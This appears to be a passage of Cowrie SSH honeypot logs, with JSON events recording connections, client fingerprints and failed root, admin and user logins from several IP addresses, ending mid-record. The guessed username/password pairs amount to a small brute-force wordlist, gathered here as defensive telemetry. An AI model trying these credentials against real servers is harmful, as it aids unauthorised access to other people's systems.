{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c4:7d:c3:a1:af:3a:4a:c1:4b:57:e4:2c:1c:05:d9:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbnnHGlW7d3jVPiFcSno5g1PJC/twLbtFrXqpPVM5U1OWj6ucBKvssLIQkZzP9rDXyzzUvdp2j06cuB+0/xKdfpIv4WHQrRruhOwmHwH5tmLUoljIN6Lae9f6lHe7XiPvwj09d2uLnwscSlzTnlXjshISZ16Dz4ZNrftx601MnHCmEJaE+gsPA1krhKoo/ftSvjd01RE91EyqxaCBKXkSJe8M+ec/v9Sx3JaFv65bYclPqyNyZ5LMxd8DmQAHzLu/yWmauXxAnUEP1KIpCuGEYd141VbpkHojt32GE14hzoratwKpdLk/JCrT4qp3//NcYtOry4Qu45usOlOaJOlSfU5OLr+9b4M7p4V6QA0tbl8Iz1FlovChYqtV/X2b1UOSbXfR0mEMPJZzfp8lG4CuPJpEMFUc7aOo5Jdi84rkqpg1Ry0VF2JDptOg5mSncYQKXGlrvTGb/N0KepmbWksF+Gjuv3ORLu/bJxzKvHCrIJwep62Bzn5/sRHw6LCd1PSU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c4:7d:c3:a1:af:3a:4a:c1:4b:57:e4:2c:1c:05:d9:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.853206Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c4:7d:c3:a1:af:3a:4a:c1:4b:57:e4:2c:1c:05:d9:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCbnnHGlW7d3jVPiFcSno5g1PJC/twLbtFrXqpPVM5U1OWj6ucBKvssLIQkZzP9rDXyzzUvdp2j06cuB+0/xKdfpIv4WHQrRruhOwmHwH5tmLUoljIN6Lae9f6lHe7XiPvwj09d2uLnwscSlzTnlXjshISZ16Dz4ZNrftx601MnHCmEJaE+gsPA1krhKoo/ftSvjd01RE91EyqxaCBKXkSJe8M+ec/v9Sx3JaFv65bYclPqyNyZ5LMxd8DmQAHzLu/yWmauXxAnUEP1KIpCuGEYd141VbpkHojt32GE14hzoratwKpdLk/JCrT4qp3//NcYtOry4Qu45usOlOaJOlSfU5OLr+9b4M7p4V6QA0tbl8Iz1FlovChYqtV/X2b1UOSbXfR0mEMPJZzfp8lG4CuPJpEMFUc7aOo5Jdi84rkqpg1Ry0VF2JDptOg5mSncYQKXGlrvTGb/N0KepmbWksF+Gjuv3ORLu/bJxzKvHCrIJwep62Bzn5/sRHw6LCd1PSU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.857106Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:46:96:14:8d:e6:40:07:ce:fb:96:7f:d0:62:8a:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1gr5q/+o4orecOkotgsoYV5NafnWwHiW9yTHHYsC9hFqG3XC3J7Yxzh+542UfzSrE186ZZbKGBMr/2EjK1H5rbFMdUusJnvrFioNSXxc7UPG+SpdoXurz5S7MHpYHbBJMrhTy/VPAXWL5fSeNM6z16adevPvEArLm8nGjgaC2yN0+4gbJgBVgPviHJFGfzJRzvMbUf/lDyWvRZcFz+FzF/GnEkYP25/JWs6IAVcu3brJs4ngkKFkXtNRQ27M/2iMuJ5SNIerEWY47/ZBRIpWe1S29OV4Y+j2K9TiTKlgUimB3TiukcDlaNDw1R4X8WMZCsSFKtA7ScDxsfzu4arF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:46:96:14:8d:e6:40:07:ce:fb:96:7f:d0:62:8a:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.942082Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:46:96:14:8d:e6:40:07:ce:fb:96:7f:d0:62:8a:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl1gr5q/+o4orecOkotgsoYV5NafnWwHiW9yTHHYsC9hFqG3XC3J7Yxzh+542UfzSrE186ZZbKGBMr/2EjK1H5rbFMdUusJnvrFioNSXxc7UPG+SpdoXurz5S7MHpYHbBJMrhTy/VPAXWL5fSeNM6z16adevPvEArLm8nGjgaC2yN0+4gbJgBVgPviHJFGfzJRzvMbUf/lDyWvRZcFz+FzF/GnEkYP25/JWs6IAVcu3brJs4ngkKFkXtNRQ27M/2iMuJ5SNIerEWY47/ZBRIpWe1S29OV4Y+j2K9TiTKlgUimB3TiukcDlaNDw1R4X8WMZCsSFKtA7ScDxsfzu4arF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:45.945529Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:46.029585Z","src_ip":"89.38.96.216","session":"b71764232cf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":43550,"dst_ip":"10.17.0.5","dst_port":22,"session":"b785b015ce6d","protocol":"ssh","message":"New connection: 103.114.153.158:43550 (10.17.0.5:22) [session: b785b015ce6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:46.052758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:46.061212Z","src_ip":"103.114.153.158","session":"b785b015ce6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:46.259531Z","src_ip":"103.114.153.158","session":"b785b015ce6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server@2026","message":"login attempt [root/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:47.078665Z","src_ip":"103.114.153.158","session":"b785b015ce6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:47.559607Z","src_ip":"103.114.153.158","session":"b785b015ce6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":43564,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dde19729fb8","protocol":"ssh","message":"New connection: 103.114.153.158:43564 (10.17.0.5:22) [session: 3dde19729fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:47.751728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:47.755747Z","src_ip":"103.114.153.158","session":"3dde19729fb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:47.949925Z","src_ip":"103.114.153.158","session":"3dde19729fb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server@2026","message":"login attempt [admin/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:48.762098Z","src_ip":"103.114.153.158","session":"3dde19729fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:49.243143Z","src_ip":"103.114.153.158","session":"3dde19729fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":43578,"dst_ip":"10.17.0.5","dst_port":22,"session":"f473f9cd5ef1","protocol":"ssh","message":"New connection: 103.114.153.158:43578 (10.17.0.5:22) [session: f473f9cd5ef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:49.458712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:49.464925Z","src_ip":"103.114.153.158","session":"f473f9cd5ef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:49.670518Z","src_ip":"103.114.153.158","session":"f473f9cd5ef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server@2026","message":"login attempt [user/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:50.505463Z","src_ip":"103.114.153.158","session":"f473f9cd5ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:50.986291Z","src_ip":"103.114.153.158","session":"f473f9cd5ef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":46076,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dce5ecf80ad","protocol":"ssh","message":"New connection: 103.114.153.158:46076 (10.17.0.5:22) [session: 0dce5ecf80ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:51.181543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:51.187249Z","src_ip":"103.114.153.158","session":"0dce5ecf80ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:51.385269Z","src_ip":"103.114.153.158","session":"0dce5ecf80ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server@2026","message":"login attempt [user2/Server@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.205441Z","src_ip":"103.114.153.158","session":"0dce5ecf80ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.160.86.7","src_port":57118,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccda1d85d8e0","protocol":"ssh","message":"New connection: 20.160.86.7:57118 (10.17.0.5:22) [session: ccda1d85d8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.265389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.271127Z","src_ip":"20.160.86.7","session":"ccda1d85d8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.354468Z","src_ip":"20.160.86.7","session":"ccda1d85d8e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.687043Z","src_ip":"103.114.153.158","session":"0dce5ecf80ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"script","password":"script","message":"login attempt [script/script] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.707879Z","src_ip":"20.160.86.7","session":"ccda1d85d8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":46086,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2802afa380a","protocol":"ssh","message":"New connection: 103.114.153.158:46086 (10.17.0.5:22) [session: c2802afa380a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.901771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:52.907904Z","src_ip":"103.114.153.158","session":"c2802afa380a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:53.110309Z","src_ip":"103.114.153.158","session":"c2802afa380a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.191.77.164","src_port":35366,"dst_ip":"10.17.0.5","dst_port":22,"session":"490377b641a6","protocol":"ssh","message":"New connection: 182.191.77.164:35366 (10.17.0.5:22) [session: 490377b641a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:53.210550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:53.216291Z","src_ip":"182.191.77.164","session":"490377b641a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:53.453348Z","src_ip":"182.191.77.164","session":"490377b641a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:53.795585Z","src_ip":"20.160.86.7","session":"ccda1d85d8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server@2012","message":"login attempt [root/server@2012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:53.949486Z","src_ip":"103.114.153.158","session":"c2802afa380a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:54.429222Z","src_ip":"103.114.153.158","session":"c2802afa380a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gast","password":"gast","message":"login attempt [gast/gast] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:54.434235Z","src_ip":"182.191.77.164","session":"490377b641a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.114.153.158","src_port":46094,"dst_ip":"10.17.0.5","dst_port":22,"session":"abbe9a200f5d","protocol":"ssh","message":"New connection: 103.114.153.158:46094 (10.17.0.5:22) [session: abbe9a200f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:54.656045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_LIBSSH_VERSION","message":"Remote SSH version: SSH-2.0-libssh_LIBSSH_VERSION","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T02:57:54.661356Z","src_ip":"103.114.153.158","session":"abbe9a200f5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2